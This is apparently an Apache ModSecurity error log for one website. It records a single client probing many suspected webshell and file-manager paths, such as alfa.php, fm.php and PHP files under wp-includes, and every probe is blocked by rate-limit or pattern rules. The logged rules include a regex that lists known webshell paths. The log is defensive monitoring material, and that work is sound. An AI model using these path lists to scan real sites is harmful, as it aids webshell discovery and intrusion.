[Tue Mar 31 08:37:38.867731 2026] [:error] [pid 41421:tid 41439] [client 4.204.246.56:8010] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "acsXUhSaDjY9kKFtUQBhWgAAAQ8"]
[Tue Mar 31 08:37:39.292080 2026] [:error] [pid 41421:tid 41443] [client 4.204.246.56:8013] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "acsXUxSaDjY9kKFtUQBhYgAAARM"]
[Tue Mar 31 08:37:39.707740 2026] [:error] [pid 36890:tid 36917] [client 4.204.246.56:8167] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "acsXU58FASPd_uH8z7dFcAAAABY"]
[Tue Mar 31 08:37:40.119691 2026] [:error] [pid 41421:tid 41432] [client 4.204.246.56:8164] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "acsXVBSaDjY9kKFtUQBhawAAAQg"]
[Tue Mar 31 08:37:40.541413 2026] [:error] [pid 36891:tid 36927] [client 4.204.246.56:8024] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "acsXVJJhiMaJUqoqfl4xhwAAAEM"]
[Tue Mar 31 08:37:40.985430 2026] [:error] [pid 36890:tid 36902] [client 4.204.246.56:8105] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "acsXVJ8FASPd_uH8z7dFcQAAAAc"]
[Tue Mar 31 08:37:41.401822 2026] [:error] [pid 36892:tid 36966] [client 4.204.246.56:7936] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "acsXVUyj9S4G0ek3O4LKZAAAAI8"]
[Tue Mar 31 08:37:41.814629 2026] [:error] [pid 41421:tid 41425] [client 4.204.246.56:8111] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "acsXVRSaDjY9kKFtUQBhfwAAAQE"]
[Tue Mar 31 08:37:42.234809 2026] [:error] [pid 41421:tid 41435] [client 4.204.246.56:8124] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/seoplugins/index.php"] [unique_id "acsXVhSaDjY9kKFtUQBhhQAAAQs"]
[Tue Mar 31 08:37:42.648346 2026] [:error] [pid 41421:tid 41448] [client 4.204.246.56:8095] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/seoplugins/index.php"] [unique_id "acsXVhSaDjY9kKFtUQBhiQAAARg"]
[Tue Mar 31 08:37:43.063162 2026] [:error] [pid 36982:tid 36990] [client 4.204.246.56:8020] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/seoplugins/index.php"] [unique_id "acsXV_lMmeoQKN0r_GN6zAAAAMU"]
[Tue Mar 31 08:37:43.492391 2026] [:error] [pid 36890:tid 36906] [client 4.204.246.56:8112] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ini.php"] [unique_id "acsXV58FASPd_uH8z7dFdgAAAAs"]
[Tue Mar 31 08:37:43.920036 2026] [:error] [pid 41421:tid 41447] [client 4.204.246.56:7953] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ini.php"] [unique_id "acsXVxSaDjY9kKFtUQBhkwAAARc"]
[Tue Mar 31 08:37:44.341059 2026] [:error] [pid 41421:tid 41428] [client 4.204.246.56:8000] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ini.php"] [unique_id "acsXWBSaDjY9kKFtUQBhlgAAAQQ"]
[Tue Mar 31 08:37:44.755154 2026] [:error] [pid 36892:tid 36967] [client 4.204.246.56:8045] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ini.php"] [unique_id "acsXWEyj9S4G0ek3O4LKbgAAAJA"]
[Tue Mar 31 08:37:45.166489 2026] [:error] [pid 36982:tid 36986] [client 4.204.246.56:8119] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/libraries/legacy/info.php"] [unique_id "acsXWflMmeoQKN0r_GN60wAAAME"]
[Tue Mar 31 08:37:45.590045 2026] [:error] [pid 36982:tid 36994] [client 4.204.246.56:8018] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/libraries/legacy/info.php"] [unique_id "acsXWflMmeoQKN0r_GN61gAAAMk"]
[Tue Mar 31 08:37:46.017502 2026] [:error] [pid 36982:tid 36992] [client 4.204.246.56:8029] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/libraries/legacy/info.php"] [unique_id "acsXWvlMmeoQKN0r_GN62gAAAMc"]
[Tue Mar 31 08:37:46.454515 2026] [:error] [pid 36892:tid 36968] [client 4.204.246.56:8121] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/libraries/legacy/info.php"] [unique_id "acsXWkyj9S4G0ek3O4LKcQAAAJE"]
[Tue Mar 31 08:37:46.867712 2026] [:error] [pid 36890:tid 36899] [client 4.204.246.56:8087] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "acsXWp8FASPd_uH8z7dFfQAAAAQ"]
[Tue Mar 31 08:37:47.290745 2026] [:error] [pid 41421:tid 41442] [client 4.204.246.56:8026] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "acsXWxSaDjY9kKFtUQBhmwAAARI"]
[Tue Mar 31 08:37:47.718441 2026] [:error] [pid 41421:tid 41444] [client 4.204.246.56:7943] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "acsXWxSaDjY9kKFtUQBhoAAAARQ"]
[Tue Mar 31 08:37:48.143045 2026] [:error] [pid 36892:tid 36972] [client 4.204.246.56:7954] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "acsXXEyj9S4G0ek3O4LKeAAAAJU"]
[Tue Mar 31 08:37:48.562810 2026] [:error] [pid 36892:tid 36963] [client 4.204.246.56:7952] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "acsXXEyj9S4G0ek3O4LKeQAAAIw"]
[Tue Mar 31 08:37:49.023516 2026] [:error] [pid 36982:tid 37008] [client 4.204.246.56:8140] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "acsXXflMmeoQKN0r_GN64QAAANc"]
[Tue Mar 31 08:37:49.448363 2026] [:error] [pid 41421:tid 41424] [client 4.204.246.56:8070] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "acsXXRSaDjY9kKFtUQBhtgAAAQA"]
[Tue Mar 31 08:37:49.904574 2026] [:error] [pid 41421:tid 41443] [client 4.204.246.56:8181] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "acsXXRSaDjY9kKFtUQBhuwAAARM"]
[Tue Mar 31 08:37:50.322330 2026] [:error] [pid 41421:tid 41429] [client 4.204.246.56:8011] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "acsXXhSaDjY9kKFtUQBhwAAAAQU"]
[Tue Mar 31 08:37:50.800741 2026] [:error] [pid 41421:tid 41424] [client 4.204.246.56:8174] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "acsXXhSaDjY9kKFtUQBhxgAAAQA"]
[Tue Mar 31 08:37:51.216777 2026] [:error] [pid 41421:tid 41447] [client 4.204.246.56:8170] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "acsXXxSaDjY9kKFtUQBhygAAARc"]
[Tue Mar 31 08:37:51.628775 2026] [:error] [pid 41421:tid 41435] [client 4.204.246.56:8049] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "acsXXxSaDjY9kKFtUQBh0AAAAQs"]
[Tue Mar 31 08:37:52.060024 2026] [:error] [pid 36890:tid 36908] [client 4.204.246.56:7964] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acsXYJ8FASPd_uH8z7dFhAAAAA0"]
[Tue Mar 31 08:37:52.479166 2026] [:error] [pid 41421:tid 41429] [client 4.204.246.56:8186] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acsXYBSaDjY9kKFtUQBh2QAAAQU"]
[Tue Mar 31 08:37:52.890437 2026] [:error] [pid 36982:tid 36986] [client 4.204.246.56:8175] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acsXYPlMmeoQKN0r_GN67gAAAME"]
[Tue Mar 31 08:37:53.311306 2026] [:error] [pid 36982:tid 37007] [client 4.204.246.56:7993] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acsXYflMmeoQKN0r_GN68AAAANY"]
[Tue Mar 31 08:37:53.722130 2026] [:error] [pid 36982:tid 36995] [client 4.204.246.56:7950] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "acsXYflMmeoQKN0r_GN69AAAAMo"]
[Tue Mar 31 08:37:54.133396 2026] [:error] [pid 36890:tid 36904] [client 4.204.246.56:7956] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "acsXYp8FASPd_uH8z7dFigAAAAk"]
[Tue Mar 31 08:37:54.554912 2026] [:error] [pid 36982:tid 36990] [client 4.204.246.56:8138] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "acsXYvlMmeoQKN0r_GN69wAAAMU"]
[Tue Mar 31 08:37:55.012072 2026] [:error] [pid 41421:tid 41445] [client 4.204.246.56:8040] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "acsXYxSaDjY9kKFtUQBh6AAAARU"]
[Tue Mar 31 08:37:55.425833 2026] [:error] [pid 41421:tid 41433] [client 4.204.246.56:8120] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wp-config-sample.php"] [unique_id "acsXYxSaDjY9kKFtUQBh7AAAAQk"]
[Tue Mar 31 08:37:55.839488 2026] [:error] [pid 41421:tid 41448] [client 4.204.246.56:7963] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wp-config-sample.php"] [unique_id "acsXYxSaDjY9kKFtUQBh9QAAARg"]
[Tue Mar 31 08:37:56.252735 2026] [:error] [pid 41421:tid 41444] [client 4.204.246.56:7983] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wp-config-sample.php"] [unique_id "acsXZBSaDjY9kKFtUQBh-QAAARQ"]
[Tue Mar 31 08:37:56.666443 2026] [:error] [pid 36982:tid 37006] [client 4.204.246.56:8051] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wp-config-sample.php"] [unique_id "acsXZPlMmeoQKN0r_GN6_AAAANU"]
[Tue Mar 31 08:37:58.146641 2026] [:error] [pid 36891:tid 36933] [client 4.204.246.56:8063] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "acsXZpJhiMaJUqoqfl4xoQAAAEk"]
[Tue Mar 31 08:37:58.563760 2026] [:error] [pid 36982:tid 36992] [client 4.204.246.56:8062] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "acsXZvlMmeoQKN0r_GN7BAAAAMc"]
[Tue Mar 31 08:37:58.989341 2026] [:error] [pid 41421:tid 41440] [client 4.204.246.56:8123] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "acsXZhSaDjY9kKFtUQBiAgAAARA"]
[Tue Mar 31 08:38:00.294855 2026] [:error] [pid 41421:tid 41441] [client 4.204.246.56:8190] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/link.php"] [unique_id "acsXaBSaDjY9kKFtUQBiCAAAARE"]
[Tue Mar 31 08:38:00.714758 2026] [:error] [pid 41421:tid 41426] [client 4.204.246.56:8036] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/link.php"] [unique_id "acsXaBSaDjY9kKFtUQBiCwAAAQI"]
[Tue Mar 31 08:38:01.134446 2026] [:error] [pid 36982:tid 37005] [client 4.204.246.56:8103] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/link.php"] [unique_id "acsXaflMmeoQKN0r_GN7EgAAANQ"]
[Tue Mar 31 08:38:01.549921 2026] [:error] [pid 36892:tid 36970] [client 4.204.246.56:8159] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/link.php"] [unique_id "acsXaUyj9S4G0ek3O4LKlAAAAJM"]
[Tue Mar 31 08:38:01.971996 2026] [:error] [pid 36892:tid 36951] [client 4.204.246.56:8035] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "acsXaUyj9S4G0ek3O4LKlQAAAIA"]
[Tue Mar 31 08:38:02.388284 2026] [:error] [pid 36892:tid 36969] [client 4.204.246.56:7948] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "acsXakyj9S4G0ek3O4LKmAAAAJI"]
[Tue Mar 31 08:38:02.805054 2026] [:error] [pid 36891:tid 36945] [client 4.204.246.56:8153] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "acsXapJhiMaJUqoqfl4xqgAAAFU"]
[Tue Mar 31 08:38:03.253594 2026] [:error] [pid 36891:tid 36933] [client 4.204.246.56:8160] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "acsXa5JhiMaJUqoqfl4xrAAAAEk"]
